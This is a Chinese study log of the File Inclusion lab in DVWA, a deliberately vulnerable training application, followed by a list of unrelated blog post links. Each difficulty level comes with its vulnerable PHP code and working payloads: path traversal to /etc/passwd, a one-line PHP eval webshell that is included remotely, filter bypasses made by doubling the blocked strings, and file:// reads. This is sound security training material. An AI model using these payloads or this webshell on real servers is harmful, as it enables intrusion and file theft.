DVWA学习记录 PartⅣ
File Inclusion
1. 题目
File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include
选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen
选项(选项开启之后,服务器允许包含一个远程的文件)。
2. Low
a. 代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
代码对于get的参数没有任何过滤和检测。由于page参数不可控,可能导致漏洞。
b. 漏洞利用
本地文件包含:
构建payload:?page=file4.php
得到隐藏文件:
查看/etc/passwd:?page=../../../../../../../../etc/passwd
远程文件包含:
在服务器上写后门
<?php
@eval($_POST['123']);
?>
构造payload:http://[ip]/DVWA/vulnerabilities/fi/?page=http://[ip]/backdoor.php
为了增加隐蔽性,可以对http://[ip]/backdoor.php
进行编码。
使用菜刀连接
3. Medium
a. 代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
代码对于输入的参数,进行了简单的替换。
b. 漏洞利用
此类替换可以使用双写的方式绕过。
LFI:?page=..././..././..././..././..././..././..././etc/passwd
RFI:hthttp://tp://[ip]/backdoor.php
4. High
a. 代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
代码对于输入参数限制必须为file开头,或者访问include.php。
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
fnmatch(pattern,string,flags)
pattern 必需。规定要检索的模式。
string 必需。规定要检查的字符串或文件。
flags 可选。
b. 漏洞利用
使用file://
协议,构建payload:file:///etc/passwd
RFL:需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。
5. impossible
a. 代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
直接使用白名单机制,限制page参数必须为白名单中的字符串,彻底杜绝了文件包含漏洞。
最新文章
- js 的Location对象
- vim添加未识别文件类型
- hdu3448 01背包+dfs
- DSP using MATLAB 示例Example3.9
- Response.End()在Webform和ASP.NET MVC下的表现差异
- 38. Same Tree &;&; Symmetric Tree
- Maven进价:eclipse中集成maven
- The Separator in Grid_BFS
- php 建立类POST/GET 的HTTP请求
- C# 二叉查找树实现
- [HDU 1535]Invitation Cards[SPFA反向思维]
- ARM裸机开发中内存管理库RT_HEAP的使用
- VS2010暂停编译界面
- java HashSet改用
- 201521123056 《Java程序设计》第4周学习总结
- AI_深度学习概论
- .Net Framework项目引用.NetStandard标准库出现版本冲突解决办法
- Kotlin 接口
- 【转】AI类人工智能产品经理的丛林法则
- JAVA循环结构
热门文章
- 【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件
- 使用PD(Power Designer)设计数据库,并且生成可执行的SQL文件创建数据库(本文以SQL Server Management Studio软件执行为例)
- centos6 升级python2.6 到 python2.7
- LR脚本信息函数-lr_user_data_point
- CSS中可以继承的元素(需要记住)
- SFTP协议生成公共秘钥文件
- opencv C++全局直方图均衡化
- 39 _ 队列5 _ 循环队列需要几个参数来确定 及其含义的讲解.swf
- vwware虚拟机网卡的三种模式
- laravel Excel 导入